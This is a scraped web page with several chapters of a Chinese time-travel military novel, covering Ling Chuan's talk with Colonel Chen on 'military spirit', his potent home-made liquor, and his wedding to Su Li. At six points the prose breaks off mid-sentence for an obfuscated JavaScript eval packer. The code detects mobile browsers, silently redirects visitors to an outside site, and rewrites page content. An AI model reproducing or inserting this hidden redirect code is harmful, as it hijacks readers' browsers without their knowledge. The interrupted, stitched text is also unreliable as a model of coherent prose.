“娘子不用担心,我这次的赏银可是足足两千两,花不了多少银子的!”凌川笑了笑,继续说道:“而且,成亲这种喜事,一辈子就一次,当然要跟所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947943|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人分享了!” “相公,你刚刚说什么?”苏璃一脸严肃地看着他,问道。 “赏银两千两啊!” “不是这句,后面一句!”苏璃继续追问。 “我说,成亲一辈子就一次,自然是要跟所有人分享啊!”凌川有些发怵,因为,他从未见过苏璃这般严肃的表情。 “呸呸呸……相公可千万别这么说!”苏璃连忙说道。 “娘子你怎么了?”凌川不明所以。 “相公有勇有谋,将来肯定能立下更多战功,封王拜将也不是不可能,到时候,得纳几房小妾!怎么能说一辈子就成一次亲呢!”苏璃解释道。 “ 我不纳妾!”凌川想都没想,直接摆手拒绝。 苏璃眼底闪过无奈之色,摇了摇他的手臂,说道:“相公,你要是不纳妾,别人会说我不懂事的!” 凌川停下脚步,双手抓着她的肩膀,认真说道:“我凌川,这一辈子,有你就足够了,我的心里,也只能容纳你一个女人!” 苏璃的身体微微一颤,只感觉内心最柔软的地方被刺了一下,泪水不受控制地滚落下来。 “相公,遇到你,是小璃这辈子最大的福气!” “傻丫头,大过年的,你哭什么!”凌川温柔地为她擦去泪水。 当天下午,凌川便亲自到军营通知所有人,三天后喝自己的喜酒,还特意交代,不许随礼。 所有人都为之叫好,毕竟,凌川现如今可是狼烽口的英雄人物,能喝到他的喜酒,自然是非常乐意,纷纷送上祝福。 就在这时,余生前来,告知校尉陈暻垚请他去一趟。 凌川顺手捎上一壶自酿白酒,便朝着校尉营而去,陈暻垚也是爽快人,一见面便直奔主题,让他将之前的五行锥阵画出来,接下来便准备在各标推行演练了。 凌川没有半点藏私,不但详细画出了战阵排列,还将每一个兵卒的作用详细写了出来。 此外,凌川还将战阵的几种变化,以及多个五行战阵如何相互配合,形成一个大的联合战阵也进行了详细介绍。 陈暻垚看着纸上密密麻麻的标注,内心早已震惊得无以复加。 第28章 军魂! 这段时间,他私底下也没少对这战阵进行拆解研究,本以为,自己已经掌握了八成,直到此时听到凌川的讲解,他才发现,自己所掌握的,不过冰山一角。 “此阵看似简单,实则精妙绝伦,若是加以训练,将五行锥阵的威力完全发挥出来,士兵的战力将直线飙升,或许一对一不是胡羯人的对手,但若是五对五,他们至少有五成胜算!陈暻垚激动地说道。 凌川却是摇了摇头,说道:“不止五成,而是八成! “八成? 凌川点了点头,说道:“校尉大人可曾想过,为何我们一对一打不过胡羯人? “胡羯人体型高大,且弓马娴熟、天生善战!陈暻垚几乎想都没想,便给出了答案。 谁知,凌川却是摇了摇头,说道:“不然! “那是为何?陈暻垚不解地问道。 “在战斗中,体型和力量确实占优,但,他们体型再大能大过大象吗?力量再大能大过猛虎吗?可人却能驯服大象,杀死猛虎,这是为何? 听闻此言,陈暻垚顿时陷入沉思当中,忽然,他眼神中闪过一丝精光,说道:“因为智慧! 凌川点了点头,说道:“我们的士兵之所以单挑打不过胡羯人,体型固然有一定关系,但绝非主要原因,想我大周鼎盛时期,无论是北方胡羯还是南方蛮子,亦或是东疆众多岛国和西域强敌,都无法与我大周战兵撄锋,归根结底,是这些年我们被外敌打怕了,以至于所有人的骨子里都认为,我们打不过别人! 这一次,陈暻垚许久都未能接上话。 对于一名军人,特别是一名将领来说,谁愿意承认自己不如别人? 所以,他一直都在逃避这个问题,甚至是以各种理由为借口自欺欺人。 然而,凌川却毫不留情地将这层遮羞布扯掉,将血淋淋的伤口暴露在阳光下。 霎时间,陈暻垚猛然醒悟,不仅羞愧难当,更是无言反驳。 只因他知道,凌川说得对! 因为这些年**羯人打怕了,以至于,很多人在听到胡羯人这个名字,内心都会不由自主地生出恐惧,胡羯人的马蹄声就像是催命符一般,让很多兵卒双腿不住颤抖。 胡羯人弓弦颤动的声音,就像是恶鬼的嘶吼,哪怕隔着老远,就让无数人为之胆寒。 试问,这样一支队伍,怎么可能打胜仗? 陈暻垚只感觉喉咙发干,用颤抖的声音问道:“那,如何才能打胜仗? “一支合格的军队,除了需要士兵拥有强健的体魄之外,锋利的兵器和坚固的盾甲也是必不可少的! “但,若想成为一支优秀的军队,除了这些还要有严明的纪律,要求上至主将下至每一位士兵都能做到令行禁止! 凌川顿了顿,继续说道:“但,想要成为一支纵横沙场的无敌之师,以上这些只是最基本的条件! 陈暻垚没有打断凌川,只是满脸渴望地看着他,静等他的下文。 谁知,凌川并未直接给出答案,而是话锋一转,说道:“纵观历史,细数那些常胜之军之所以能横扫疆场、所向披靡,甚至很多时候能以少胜多,不难发现,他们身上都有一个共同特征! “那是什么?陈暻垚满脸迫切地问道。 “那是勇往无前的气势,舍我其谁的霸气,以及视死如归的决心! “战阵如棋,落子无悔;兵锋所指,万灵噤声! “真正的无敌之师,不败非因无敌,而是无人敢敌! 凌川目光犀利,看着陈暻垚,最后说道:“这,就是军魂! 军魂! 这两个字宛如一道惊雷在陈暻垚的耳畔炸响,让他久久无法平静。 此时的陈暻垚内心早已卷起惊涛骇浪,只因凌川这一番话,远胜他苦读十年兵书。 霎时间,凌川在他心目中的形象再一次拔高,同时,他心中生出一个念头,这少年将来的成就不可限量。 若是一支军团交给他,给他足够的时间磨炼,或许真能扫平北疆关外。 他想将自己的校尉让给凌川,但他知道,以凌川的性格断然不会接受,而且,他这种为战场而生的奇才,注定要在更为辽阔的疆场大放异彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947944|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小小的狼烽口容不下他,自己也不会把他囚禁在狼烽口这座牢笼,而是尽可能地帮他走向更高处。 而眼下,最重要的是趁着凌川还在,得尽快让他给自己练兵。 “凌川,你告诉我,眼下我们应该从哪一步做起?陈暻垚拉着凌川的手,激动地问道。 凌川一脸苦笑道:“校尉大人,我是来请你喝喜酒的,你这明显是想把我当苦力啊! “你帮帮我,回头你们成亲我随十两银子! 凌川本想拒绝,可到了嘴边的话,却被这十两银子给堵了回去。 倒也不是他贪财,而是实在不忍心拒绝。 陈暻垚多次帮自己,这份情,凌川一直记在心底,尽管他是出于苏璃的关系,但终究是帮了自己。 凌川便将前世军队那一套搬了过去,当然,在整理内务方面降低了要求,体能训练方面也做了变通,要不然,这些士兵根本吃不消。 “练兵是一个循序渐进的过程,三五天或许不见成效,但若能不折不扣地坚持训练,不出三月,他们每个人都将发生蜕变!” 探讨完已是亥时,陈暻垚让亲兵准备了点宵夜,还顺带拿来半坛十里香。 凌川一眼就认出,这是上次除夕夜曹正在‘鸿门宴’上喝剩下的那批酒,不由打趣道:“校尉大人好歹也是世家出身,拿喝剩下的酒待客,就不怕被人笑话?” 陈暻垚不以为意笑道:“你小子,别挑肥拣瘦,也就是你,要换做其他人想喝还没有呢!” 凌川拿过自己带来的那壶精酿白酒放到桌上:“你这个留着吧,今天尝尝我亲自酿的酒!” “你酿的酒?扯什么卵蛋!”陈暻垚一脸不屑。 “这可是你说的不喝啊!”凌川说完,直接撤掉酒壶的木塞。 霎时间,一股浓郁的酒香飘了出来。 陈暻垚深吸了一口气,顿时两眼放光:“好香!” 说完,夺过酒壶,给自己倒了一大碗,看着碗中清澈的酒水,陈暻垚一度怀疑,这就是一碗白水,因为,他从未见过如此清澈的酒。 第29章 千疮百孔的帝国! 陈暻垚二话不说,端起酒碗直接喝了一大口,凌川想要制止已经来不及。 “咳咳……”刚一入喉,陈暻垚只感觉一条暴戾的火龙从喉咙直冲胸腹,让他止不住剧烈咳嗽。 “**,你这酒里加辣椒了吗?怎么这么辣口?”陈暻垚满脸通红,一脸怀疑地看着碗中白酒。 “忘记跟你说了,我这酒不宜豪饮,得慢慢喝,才能品尝出其中精髓!”凌川脸上带着几分坏笑,说道。 陈暻垚严重怀疑,凌川是故意想看自己出糗。 不信邪的他,再次端起酒碗递到嘴边,只不过,这一次他没有豪饮,而是浅尝了一小口。 入口如冰刃破雪,清冽锋芒刺透味蕾防线,酒精的侵略性裹挟着粮香,在口腔中炸开一道灼热的闪电。 紧接着,酒液滑过舌面,似岩浆暗涌,绵柔的酒体突然暴起,辛辣感如千军万马冲关;入喉刹那,它化作一条火龙俯冲直下从喉头直捣胸腹。 少倾,余味反刍,辛辣渐褪,陈香始现! 前后不过片刻光景,自己像是经历了一场激烈的战争。 陈暻垚眉宇间浮现出一抹陶醉,那是一种无以言表的感觉,他简直不敢相信,这世间竟然有如此美酒。 相比之下,这半坛自己都舍不得喝的十里香,简直就跟白水一样寡淡。 “这酒叫什么名字?你从何处得来?”陈暻垚满脸激动地问道,他并非嗜酒之人,可依然挡不住这般诱惑。 饶是他饱读诗书,自认见识过人,这样的酒,却是闻所未闻。 “都说了是我自己酿的,你怎么就不信呢!”凌川也给自己倒了一碗,浅尝一口之后,说道。 要是其他人说,陈暻垚定然不信,可凌川已经给他带来了太多的匪夷所思,从自制破甲弓到改造铁箭,以及后面的战略布局和五行锥阵,每一样都颠覆了他的认知。 “那你这酿酒之法从哪儿学来的?”陈暻垚继续追问。 “从一本古籍之上看到的!” “书叫什么名字,何人所著?我不敢说学富五车,但也读过不少书,说不定我知道!”陈暻垚不依不饶,继续追问。 “那书封已经损坏了,只有部分内容!”凌川端起酒碗,掩饰内心的紧张。 陈暻垚自然知道他没说实话,但也没在追问,而是指着他笑道:“你小子防着我是吧,我真怀疑你不是这个世界的人!” 此言一出,凌川顿时神色一凝,莫非陈暻垚知道了自己的穿越者身份? 可看他的样 子,似乎只是随口玩笑,凌川这才放下心来,连忙岔开话题: “我听小璃说,校尉大人出身关陇世家,自幼饱读圣贤书,为何选择来这边关过刀口舔血的日子?” 陈暻垚深深看了他一眼,沉默良久后,长叹一声。 “我祖上确实辉煌过,但如今家族已然没落。我跟家族的其他男孩一样,一出生便被家族寄予厚望,从小便背负上重振门楣、光宗耀祖的使命!” 陈暻垚又喝了一口酒,眼神中透着几分无奈。 “可他们又哪里知道,如今的大周,读书人的晋升通道早已被那些顶级世家门阀给垄断,像我这种寒门出身的子弟,就算有一身治国之才,终其一生,也跨不进那道门槛!” “唯一的出路,就是进入那些世家门阀给他们做幕僚,可他们不过是一群附身在大周身上的吸血虫,一心只想着自己的利益,至于帝国昌盛、造福百姓乃至民族存亡这些东西,在他们看来,不过是一个笑话。” “所以,你才决定弃笔从戎,想要在边关战场来实现自己的抱负?”凌川看着他问道。 陈暻垚先是点了点头,随即又摇头说道:“一开始确实是这样的想法,可我到了边关之后才发现,边关与朝堂并无什么两样,就算你有勇有谋,屡立战功,也抵不过人家宗族血脉之情!” 凌川点了点头,这种情况,无论在哪个年代都存在,根本无法避免。 “那你当初为何不留在南疆,继续跟在苏老将近身边呢?”凌川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947945|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前身的记忆中得知,南疆主帅苏定方,也就是苏璃的父亲,忠君爱国,且任人唯贤,培养了不少出身贫寒的将领。 “苏老将军固然爱才,可当时的南疆已经被他平定,南蛮退走不敢再犯,短时间内不会再有战事,所以,我才来了北境!” 陈暻垚又自顾自给自己倒了一碗酒,说道:“然而,北疆主帅卢恽筹却是一心想着拥兵自重,表面上他是替帝国镇守北疆,可实际上,北系军早已是他卢恽筹的私军,军中高层大多都是他的心腹,我这种外来户,根本进不了他的法眼。” “可事实上,这些年卢恽筹大多是在被动挨打,偶尔出兵也不过是做做样子给朝廷看,好以此让朝廷拨放军饷,这样的人执掌大军,简直就是帝国的悲哀!”说完,陈暻垚将碗中白酒一饮而尽,立马又剧烈咳嗽起来。 从他的言语中,凌川感受到了他对如今大周帝国的失望,以及对自己怀才不遇的无奈。 这不由让他想到,前世的一位真豪杰面对绝境时喊出的那句悲壮名言——有心杀贼,无力回天! 凌川借着酒劲,继续问道:“校尉大人,据我所知如今的大周已经烂到骨子里了,你觉得帝国还能存在多久?” 陈暻垚猛然抬起目光瞪着他,随后看了一眼帐外,压低声音说道:“你小子真敢说,不怕掉脑袋吗?” 凌川知道,他并未责怪自己,只是笑了笑,静等他的回答。 “大周确实是气数将尽,这是很多人都心知肚明的事情,朝中权臣当道,武将拥兵自重,地方豪强林立,世家豪门只顾小家,就算真出一位盖世明君,面对这千疮百孔的帝国,也是回天乏术!” 陈暻垚满脸通红,显然已经上头,只见他双眼通红,看着凌川问道:“若是你凌川能挽狂澜于既倒,扶大厦之将倾,你会不会取而代之,自己去坐那龙椅呢?” 一时间,凌川不知如何回答。 此时的他也想不到,在将来的某一天,自己面临人生重大抉择之时,是陈暻垚今晚的这番话,让他做出了决定。 第30章 拜堂成亲 “书上说,物极必反,盛极必衰!王朝更迭是历史的必然进程,或许,后人读到这一段,只是轻描淡写的寥寥数笔,却没人知道,这些大人物追逐权利的背后,有多少无辜百姓流离失所,又有多少无辜之人被掩埋在历史的尘埃之下! 说完这番话,陈暻垚直接趴在桌上睡着了。 可凌川却坐在凳子上,内心久久无法平静。 作为一个穿越者的他,无论是对这个世界,还是对大周帝国,都没有太多的认同感与归属感。 正如陈暻垚刚才所问,若是机会真的摆在自己面前,他会毫不犹豫地坐上龙椅,过一把皇帝瘾,如此一来,也不枉自己穿越到这个世界。 可听完陈暻垚这番话之后,他内心犹豫了。 离开校尉营的时候,已经是深夜。 凌川远远看到家里的灯还亮着,进屋一看,只见苏璃正在剪纸,红纸被他剪成一个个‘囍’字,在灯光映射下脸上洋溢着幸福的笑容。 “相公回来啦!苏璃放下手中的剪刀走上来。 “怎么还不睡?凌川笑着问道。 “人家一个人睡怕冷,等你呢! 凌川露出一抹坏笑,直接一把搂着她,说道:“那让我给你暖和暖和…… “相公好坏,嘻嘻…… …… 次日一早,凌川照常锻炼,吃过早饭便来到校场。 此时,陈暻垚已经将除了值守和巡边之外的所有士兵全部召集起来,包括标长什长,全部到场。 他先是以校尉的身份宣布,“现在开始,所有人进行新式训练,由凌川担任教头! “训练期间,包括我在内,所有人都得无条件服从教头的命令,若有违抗军法处置!还有,若有人无法完成训练任务,不许吃饭! 对于陈暻垚的这个决定,现场所有人都为之错愕,要知道,这个时代等级制度就是一道无法逾越的鸿沟,陈暻垚却能自降身份,与他们共同训练,如何不令人折服? 凌川也没废话,直接以伍为单位,拉开架势开始训练。 由于大家基础都比较差,以至于上手较慢,很多时候,凌川都要亲自示范和纠正。 好在他威望足够,再加上陈暻垚刚才的命令,大家对他还算服从。 经过整整一上午的训练,战阵列队已经比较成熟,接下来需要训练的便是彼此之间的默契,这是需要长时间磨合才能培养起来的。 “想要发挥战阵的威力,最重要的一点就是 彼此配合默契,五人战阵犹如人的躯干与四肢!”凌川站在高台之上朗声说道。 “而想要做到如臂使指,就得彼此之间有着绝对的信任,相信盾牌手能为你挡下敌人的刀锋,相信枪兵能一击必中,相信伍长的每一道指令!” 下午,凌川跟陈暻垚说了一声便开溜了,毕竟该教的要领已倾囊相授,剩下的主要靠他们自己磨合训练。 凌川提了一壶酒来到市集,找到杨铁匠。 “杨师傅,上次答应送你一壶好酒,今天我给你带来了!”凌川把酒壶放在那张满是划痕的木桌上。 杨铁匠瞥了一眼酒壶,笑道:“算你小子有良心,得了封赏还记得老头子我!” 听到这话,凌川心中笑骂着老家伙竟然真是人精,他这么说,自己反倒不好开口让他给自己打铁箭了。 “两日后我成亲,杨师傅记得来喝喜酒!”凌川说完就准备离开。 “年纪大了,喜欢清静,喜酒我就不来了!”杨铁匠摆了摆手,指着角落的箩筐说道:“你来得正好,我给你们准备了一份礼物,你顺带拿回去!” 凌川本想说自己不收礼,可来到杨铁匠手指的箩筐跟前,嘴边的话直接咽了回去。 只见箩筐里面竟然装着一大捆铁箭,全部是按照自己上次的要求打造的。 凌川正要伸手掏银子,却被杨铁匠给制止了,“这些都是乡亲们凑的银子,我不过是出点力气!” 凌川胸中暖流涌动,自己虽然能花银子喊他打,但这是狼烽口乡亲们对他的认可,意义不一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947946|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “替我谢过乡亲们!”对着杨铁匠抱拳行了一礼,背起那一大捆铁箭离开。 杨铁匠看着他渐行渐远的背影,喃喃道:“是你们守住了狼烽口,要不然我们早就成为胡贼的刀下亡魂了!” 持续多日的大雪也终于停了,久违的阳光洒在北疆大地,让人们感受到了一丝温暖。 三日时光转瞬即至,今日是他与苏璃成亲的日子。 为此,陈暻垚一改往日的严肃,除了值守的兵卒之外陈暻垚给其他人放假一日,让大家欢呼不已,毕竟,这几日的高强度训练,让大家疲惫不堪。 一大早,市集不少乡亲们便自发前来帮忙,几百人的宴席需数十人操持。 同时,几名年轻妇人则是来到凌川家里,给苏璃梳妆打扮,宛如她的娘家人。 昨日一早,绸缎庄的老板亲自将两套喜服送了过来,这做工虽然无法与神都那些老店的手艺相比,但,在这么短的时间内能做到这一步,已经非常难得了。 昨天晚上,苏璃捧着喜服看了又看,满脸的幸福,就连睡觉都带着笑意。 喜联由陈暻垚亲笔题写,字迹工整有力,堪比前世不少书法大家。 很快就到了吉时,两名中年女子将苏璃扶了出来,虽然盖着红盖头,可那高挑的身形与无形的气质依旧让人为之惊叹。 同样,换上喜服的凌川同样是眉目俊朗、英姿卓然。 围观者纷纷惊叹,这二人真是天造地设的一对。 “吉时已到,新人拜堂!”一名年龄稍大的妇人喊道。 凌川牵着苏璃的手,缓步走到正堂之中。 “一拜天地!” “二拜长兄!” 两人父母都已不在,苏璃便请陈暻垚以长兄身份参加,一开始陈暻垚是拒绝的,可想到二人父母皆已不在人世,他们既然敬自己为兄长,那自己若是再推辞,难免让他们寒心。 “夫妻对拜!” 两人相对而立,躬身一拜! 这一拜,预示着他们真正结为夫妻。 第31章 娘子,你真好看! “送入洞房!” 随着这声音响起,凌川直接一把将苏璃抱了起来,朝着屋内走去。 本以为,接下来便是两人的二人世界,可谁知屋内早已挤满了人。 有李长隆、梁盛等军中同袍,也有一些相熟的乡亲,所有人脸上都带着笑意,嘴里说着百年好合,白头偕老之类的祝福语。 凌川对这个世界的婚礼流程并不熟悉,但隐约猜到这是要闹洞房,只是不知道他们要玩什么花样。 “标长,今天咱们可要以下犯上了,哈哈哈……” 只见梁盛端着一条长凳放在凌川面前,随后又拿出一条黑色布袋,直接将凌川的眼睛蒙上。 “标长,咱们也不为难你,只要你抱着弟妹在原地转十圈,然后踩在凳子上走过去不掉下来,就可以入洞房了!” 大喜之日,凌川自是不会扫兴,而且,人家也没有恶意。 他便抱着苏璃原地转了十圈,然后摸索着踩到板凳上,小心翼翼往前走。 忽然,他感觉板凳一阵摇晃,苏璃也被惊得一声尖叫,好在凌川身手矫健,轻轻一跃便平稳落地。 “平安落地,早生贵子!” “标长,你没过关,必须得接受惩罚!”梁盛笑着起哄。 凌川摘掉蒙在眼上的黑布,问道:“说吧!什么惩罚?” “让新郎官当面亲一口新娘子,大家说好不好?”梁盛大喊道。 “去去去……要亲也是关起门来亲,凭什么给你们看?”要是在前世,这算不得什么,可这个时代,特别是对于苏璃这种出身的女子而言,显然是不能接受的。 “这样吧,一会我请大家喝好酒,就当是赔礼行不行?” “好,一言为定啊!” 房间里终于安静了下来,凌川轻轻将苏璃放在床上。 “相公,他们都走了吗?”苏璃隔着盖头,小声问道。 “那群家伙,现在肯定趴在外面偷听呢!”凌川笑道。 凌川慢慢掀开她的盖头,尽管是熟悉的枕边人,尽管早已见过苏璃的绝世容颜,可这一刻的苏璃,依旧让凌川为之惊叹。 “娘子,你真好看!”凌川由衷赞叹。 苏璃娇羞道:“相公也好生英俊呢!” 四目相对,含情脉脉,苏璃那娇羞的目光宛如一泓清泉,让凌川忍不住吻了上去。 “有人看着呢!”苏璃连忙说道。 “让他们看了眼睛长针眼!”凌川一把拉过被子,直接盖在两人身上。 门缝外面,一群人眯着眼睛往里面看,结果,只能看到被子卷起的红浪。 “咳咳…… 就在这时,身后传来一道咳嗽,几人顿时一惊,发现陈暻垚不知何时站在身后,板着一张脸。 几人如老鼠见了猫,慌忙逃窜。 两人缠绵一番之后,苏璃帮凌川整理好衣服,说道:“快开席了,相公快去吧,可别让大家久等了! “好,娘子等我,我很快回来! 苏璃不由得俏脸一红,娇羞道:“现在离天黑还早着呢! 校场之上摆着数十张桌子,除了狼烽口的兵卒之外,不少百姓也都到场喝喜酒。 不过,大家都没有空着手来,有的提着鸡鸭,有的提来一块肉,再不济也带了几斤粮食。 得知凌川不收礼之后,老百姓也没有要拿回去的意思,直接丢给了火头军。 对此,凌川也是哭笑不得,心里却是暖暖的,因为,他意识到他们这群人的血没有白流。 “新郎官,啥时候开席啊,大家都等不及了!丁标标长伍兴邦笑着问道。 这次宴席的食材,是凌川给银子让火头军伍长亲自去市集上采买的,鸡鸭鱼肉应有尽有,甚至还有洗甲湖的鱼,那可是出了名的鲜美。 掌勺的正是吞雪楼的老板,上次的事情,陈暻垚已经查明,他确实是被要挟的,两个孩子都被曹正的手下扣押在后院。 事实上,李长隆等人潜入后院之前,掌柜还悄悄将后院的布局,以及对方所在的位置一一告知,并亲自带着他们前去敲门,要不然,想要控制后院准备往酒里下毒的那两人,也不是那么容易的事情。 这等规格的席桌,无论是营中兵卒还是这些边关百姓,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947947|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分少见。 凌川笑道:“大家别着急,这喜酒喜酒,自然是要先喝酒! 说完,让余生将自己准备好的酒放上桌,每桌一坛,大约五斤左右。 为了酿造这些白酒,他可是将市集上的米酒都买光了,得知凌川买来摆喜宴,老板都按照最低价给他。 然而,一众宾客看着这并不大的酒坛子,不由有些诧异,从菜品来看,你并非吝啬之人,可这五斤酒未免太少了些,每个人也就能分到一碗。 “莫非是十里香? 识货之人则是摇头说道:“十里香的坛子上印有自家商标,这明显就是米酒的坛子! “凌兄弟,每桌就五斤酒,未免太少了些,还不够弟兄们漱口呢!大大咧咧的熊广玩笑道。 凌川则是一脸笑意地说道:“熊老哥别急,我这可不是一般的酒,就算是你这般海量,也喝不了一斤!” 熊广听后,满脸不屑,说道:“兄弟,你看不起谁呢?就这五斤,我一口喝完都不带喘气的!” “你还别不信,前两日陈校尉喝了八两,连自己怎么睡着的都不知道!”凌川毫不顾忌,当众揭陈暻垚的短。 见众人纷纷朝自己看来,陈暻垚脸色黑得跟锅底一样,但还是如实说道:“这酒确实不一般,所有人只能喝一碗,不可多饮!” 一众兵卒更加疑惑了,他们相信,陈暻垚不会骗人,但,打心底不相信,一斤酒就能把人放翻。 就在这时,凌川看到,头发花白的杨铁匠出现在人群中。 “杨师傅,你不是说,年纪大了喜欢清静吗?”凌川打趣道。 他自然知道杨铁匠为何会出现在这里,嗜酒如命的他,尝过自己送的那壶酒之后,若是还能忍得住,那才叫怪了。 杨铁匠喉头滚动,目光死死盯着酒坛:“怎么,你小子怕我把你吃穷了?” 凌川连忙摆手,笑道:“杨师傅哪里话,这满桌子的菜,你随便吃,不过你年纪大了,酒就别喝了!” “凭什么?” 一听不让自己喝酒,杨铁匠顿时急眼了,自己这趟本就是专程为酒来的。 第32章 黑夜遇袭! 随着酒坛揭开一股浓郁的酒香四散开来像是嗜血的虫子钻进所有人的鼻子里。 熊广一脸震惊双手捧起酒坛子猛吸了一口。 “天呐怎么这么香?” 其他人也同样是满脸的不可思议简直不敢相信仅仅是酒香便如此令人沉醉。 “来大家倒满酒祝新人白头偕老早生贵子!”陈暻垚将倒满的酒碗举起大声说道。 “白头偕老早生贵子!”所有人一起高呼随即便准备将碗中酒一饮而尽。 可刚喝一口只感觉嘴里一片火辣仿佛燃烧起来一般紧接着那火焰撕裂喉咙直袭胸腹。 紧接着便是一片意料之中的咳嗽声一个个满脸通红猛咳不止。 哪怕是熊广这等酒中豪杰也是猛拍胸口咳得上气不接下气。 见到这一幕陈暻垚心中暗爽道:‘让你们笑这下知道厉害了吧?’ 杨铁匠也只是浅饮半口脸上露出陶醉之色随即缓缓放下酒碗。 “杨师傅这是什么酒?怎么入口之后宛如一团烈火在燃烧?”朱骞擦了擦眼角的泪水问道。 杨铁匠摇了摇头“我年轻的时候走南闯北也喝过不少酒但从未见过这等烈酒听那小子说是他自己酿的!” “自己酿的?凌川会酿酒?”朱骞一脸不可置信的表情。 “呵呵谁知道呢!”杨铁匠咧嘴笑道:“这酒虽入口辛辣但若是慢饮你会发现它不仅酒香醇厚且回味绵长余香久久不散!” 很显然相比起军中大部分人饮酒多为取暖杨铁匠才是真正的行家 事实上两日前他也着了凌川的道当时的囧样比现场众人好不了多少。 此时众人总算相信凌川之前不是在吹牛。 随后凌川又告诉大家这酒得慢慢喝细细品。 果然大家按照凌川说的方法喝只感觉回味无穷。 “凌兄弟今天是你成亲的大喜日子咱们敬你!”李长隆等几名戊标什长端着酒碗走上来敬酒。 凌川来者不拒但却不敢回敬他酒量虽然不错但这可是足足四十多度的高度酒一斤已经是他的极限。 “凌标长我们敬你跟夫人百年好合永结同心!” “凌标长我代表乡亲们敬你跟夫人多子多福!” 在一声声祝福中凌川也不记得自己喝了多少再看席间不少人已经趴在桌上呼呼大睡起来 还有不少人一张脸红得跟猴子屁股一样,端起酒碗踉踉跄跄朝着自己走来。 一直到天黑,众人才相继散去,凌川则是坐在校场边的滚木上,余生全程跟着他。 “标长,我送你回去休息吧!” 凌川摇了摇头,说道:“我现在满身酒气,怎么去见你嫂子?” 余生闻言,顿时笑了起来:“想不到标长阵前英勇无双,竟然怕媳妇!” “你小子找打!”凌川眉峰一挑,抬手就要打,余生假装害怕躲开。 经过这段时间的相处,余生也知道,军营里,标长十分严厉,但私底下却是很好相处的一个人,经常还主动跟他们开玩笑。 “去后厨给我找点萝卜!”凌川对余生说道。 “标长要萝卜作甚?”余生不解。 “让你去你就去,哪儿那么多废话!” 萝卜可以帮助解酒,但见效慢,等余生走远后,凌川便用前世所学的催吐之法。 很快,余生拿着一根手臂粗的萝卜回来,凌川吃掉小半就实在是吃不下了。 “余生,来陪我跑几圈!” 余生闻言,想看怪物一样看着凌川:“标长你疯了,这大晚上你不回去洞房,在这里跑圈。” “不跑就滚,我自己跑!” 余生嘿嘿一笑,但还是陪着凌川跑了几圈。 几圈跑下来,出了一身汗,再加上汗液蒸发了酒气,凌川的酒也醒了大半,便让余生回军营,自己也准备回家。 凌川远远看到屋内的红烛将贴在窗户上那个“囍”花映得无比显眼,想到苏璃,他内心不由涌现出一抹甜蜜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947948|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 